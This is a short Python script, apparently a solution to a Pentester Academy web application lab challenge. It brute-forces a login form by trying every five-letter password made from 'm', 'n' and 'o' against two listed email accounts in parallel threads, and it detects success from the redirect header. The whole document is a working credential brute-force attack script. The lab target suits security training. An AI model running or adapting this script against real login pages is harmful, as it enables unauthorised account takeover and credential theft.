SecurityTube WAP_Challenge2

brute2.py

from threading import Thread
import itertools
import requests

locat  = "http://pentesteracademylab.appspot.com/lab/webapp/auth/1/login"
listp = []

a = list(itertools.product(['m','n','o'], repeat =  5))
for e in a:
    a = ''.join(e)
    listp.append(a)

def brute(user):
     for p in listp:
         url = "http://pentesteracademylab.appspot.com/lab/webapp/auth/1/loginscript?email="+user+"&password="+p
         r = requests.head(url)
         loc = (r.headers['location'])
         if loc != locat:
            print "Location = " + loc
            print "Email = " + user
            print "Password = " + p
            exit(0)   
                  
                       
def main():
   users = ['nick@PentesterAcademy.com' , 'admin@PentesterAcademy.com']
   for us in users:  
    try:
       user = us 
       Thread(target = brute , args = (user,)).start()
    except:
       pass
main()